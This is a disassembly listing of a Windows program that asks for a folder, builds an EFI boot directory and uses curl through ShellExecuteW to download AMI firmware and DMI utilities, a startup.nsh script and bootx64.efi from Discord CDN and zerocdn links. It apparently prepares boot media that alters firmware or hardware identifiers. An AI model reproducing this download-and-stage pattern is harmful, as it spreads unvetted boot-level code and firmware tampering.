mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x80], xmm1
mov byte [rax], 0
call fcn.140065ee0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005f70d
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f708
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f825
call fcn.140134800
mov rdx, qword [rbp + 0x88]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x14005f75b
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f756
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f825
call fcn.140134800
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14005f796
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f791
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f825
call fcn.140134800
mov rdx, qword [rbp + 0x28]
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], 0
cmp rdx, 0xf
jbe 0x14005f7dd
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f7d8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f825
call fcn.140134800
mov rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
cmp rdx, 0xf
jbe 0x14005f831
mov rcx, qword [rbp + 0xb8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f82c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f82c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140134800
xorps xmm0, xmm0
mov qword [rbp + 0x420], rsi
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x440], xmm0
lea rax, str.Select_the_download_directory
movdqa xmmword [rbp + 0x450], xmm1
lea rcx, [rbp + 0x420]
mov qword [rbp + 0x438], rax
mov qword [rbp + 0x428], rsi
mov qword [rbp + 0x430], rsi
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov rbx, rax
test rax, rax
je 0x14005fe83
lea rdx, [rbp + 0x460]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea rcx, [rbp + 0x38]
mov qword [rbp + 0x38], rsi
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x14005f8bc
mov rcx, qword [rbp + 0x38]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + Ordinal_41]
mov rcx, qword [rbp + 0x38]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
xorps xmm0, xmm0
mov qword [rbp - 0x70], rsi
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], rsi
lea rax, [rbp + 0x460]
inc r13
cmp word [rax + r13*2], 0
jne 0x14005f8d2
mov r8, r13
lea rdx, [rbp + 0x460]
lea rcx, [rbp - 0x80]
call fcn.140065060
mov r8d, 4
lea rdx, str.efi
lea rcx, [rbp - 0x80]
call fcn.140062240
mov qword [rbp - 0x20], rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14005f976
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f971
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f971
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140134800
lea r8, str._boot
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.140064300
cmp qword [rbp - 0x18], 7
lea rcx, [rbp - 0x30]
cmova rcx, qword [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14005f9ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14005f9ba
lea rdx, str.Error_creating_efi_folder.
jmp 0x14005f9e6
lea rcx, [rbp + 0x10]
call fcn.140062230
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14005fa07
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14005fa07
lea rdx, str.Error_creating_boot_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140063b70
lea rdx, [0x140063fb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14005fd91
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x50]
call fcn.1400622c0
mov rdx, rax
lea r8, str.AMIDEEFIx64.efi
lea rcx, [rbp + 0x2a8]
call fcn.140064290
lea rcx, [rbp + 0x50]
call fcn.1400458c0
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x50]
call fcn.1400622c0
mov rdx, rax
lea r8, str.AfuEfix64.efi
lea rcx, [rbp + 0xb8]
call fcn.140064290
lea rcx, [rbp + 0x50]
call fcn.1400458c0
lea r8, [rbp + 0x2a8]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198804522005438474_AMIDEEFIx64.efi__o__
lea rcx, [rbp + 0x90]
call fcn.140064470
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140064290
mov rcx, rax
call fcn.140062230
mov r9, rax
mov dword [rsp + 0x28], esi
lea r8, str.curl
mov qword [rsp + 0x20], rsi
lea rdx, [0x140175a48]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
call fcn.1400458c0
lea rcx, [rbp + 0x90]
call fcn.1400458c0
lea r8, [rbp + 0xb8]
lea rdx, str.http:__zerocdn.com_706007609_AfuEfix64.efi__o__
lea rcx, [rbp + 0x90]
call fcn.140064470
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140064290
mov rcx, rax
call fcn.140062230
mov r9, rax
mov dword [rsp + 0x28], esi
lea r8, str.curl
mov qword [rsp + 0x20], rsi
lea rdx, [0x140175a48]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
call fcn.1400458c0
lea rcx, [rbp + 0x90]
call fcn.1400458c0
lea r8, str._startup.nsh
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x70]
call fcn.140064300
lea r8, str._bootx64.efi
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x80]
call fcn.140064300
lea r8, [rbp + 0x70]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198805528051200030_startup.nsh__o__
lea rcx, [rbp + 0x90]
call fcn.140064470
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140064290
mov rcx, rax
call fcn.140062230
mov dword [rsp + 0x28], esi
mov r9, rax
mov qword [rsp + 0x20], rsi
lea r8, str.curl
xor ecx, ecx
lea rdx, [0x140175a48]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
mov rbx, rax
call fcn.1400458c0
lea rcx, [rbp + 0x90]
call fcn.1400458c0
cmp rbx, 0x20
ja 0x14005fbe3
lea rdx, str.Erro_ao_baixar_o_arquivo_startup.nsh.
jmp 0x14005fd4b
lea r8, [rbp - 0x80]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198805527728242779_bootx64.efi__o__
lea rcx, [rbp + 0x90]
call fcn.140064470
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140064290
mov rcx, rax
call fcn.140062230
mov r9, rax
mov dword [rsp + 0x28], esi
lea r8, str.curl
mov qword [rsp + 0x20], rsi
lea rdx, [0x140175a48]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
mov rbx, rax
call fcn.1400458c0
lea rcx, [rbp + 0x90]
call fcn.1400458c0
cmp rbx, 0x20
ja 0x14005fc61
lea rdx, str.Erro_ao_baixar_o_arquivo_bootx64.efi.
jmp 0x14005fd4b
lea rcx, [rbp + 0x2a8]
call fcn.140062230
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005fd44
lea rcx, [rbp + 0xb8]
call fcn.140062230
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005fd44
lea rcx, [rbp + 0x70]
call fcn.140062230
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005fd44
lea rcx, [rbp - 0x80]
call fcn.140062230
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005fd44
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Files_successfully_downloaded_from:
call fcn.1400645e0
mov rcx, rax
lea rdx, [rbp + 0x460]
call fcn.1400645e0
lea rdx, [0x1400647b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x80]
call fcn.1400458c0
lea rcx, [rbp + 0x70]
call fcn.1400458c0
lea rcx, [rbp + 0xb8]
call fcn.1400458c0
lea rcx, [rbp + 0x2a8]
call fcn.1400458c0
lea rcx, [rbp + 0x10]
call fcn.1400458c0
lea rcx, [rbp - 0x30]
call fcn.1400458c0
xor eax, eax
jmp 0x14005fdf0
lea rdx, str.Error_downloading_files.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140063b70
lea rdx, [0x140063fb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x80]
call fcn.1400458c0
lea rcx, [rbp + 0x70]
call fcn.1400458c0
lea rcx, [rbp + 0xb8]
call fcn.1400458c0
lea rcx, [rbp + 0x2a8]
call fcn.1400458c0
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14005fdd4
mov rcx, qword [rbp + 0x10]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fdcf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005fdcf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140134800
lea rcx, [rbp - 0x30]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], si
call fcn.1400458c0
mov eax, r12d
movaps xmm14, xmmword [rsp + 0x7b0]
mov r13, qword [rsp + 0x848]
movaps xmm12, xmmword [rsp + 0x7d0]
movaps xmm11, xmmword [rsp + 0x7e0]
movaps xmm10, xmmword [rsp + 0x7f0]
movaps xmm9, xmmword [rsp + 0x800]
movaps xmm8, xmmword [rsp + 0x810]
movaps xmm7, xmmword [rsp + 0x820]
movaps xmm6, xmmword [rsp + 0x830]
movaps xmm15, xmmword [rsp + 0x7a0]
mov r14, qword [rsp + 0x840]
mov rbx, qword [rsp + 0x870]
mov rdi, qword [rsp + 0x880]
mov rsi, qword [rsp + 0x878]
movaps xmm13, xmmword [rsp + 0x7c0]
mov r12, qword [rsp + 0x850]
add rsp, 0x858
pop r15
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.No_directories_selected.
call fcn.140063b70
lea rdx, [0x140063fb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14005fded
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [0x14039a990]
mov rdx, qword [0x14039a998]
test rdx, rdx
je 0x14005fee3
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14039a990]
mov qword [0x14039a998], r15
test rcx, rcx
je 0x14005fef5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14039a990], r15
mov rdx, qword [rbp + 0x328]
mov rcx, qword [rbp + 0x350]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r12d
jmp 0x14005fe47
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x48], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x48], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3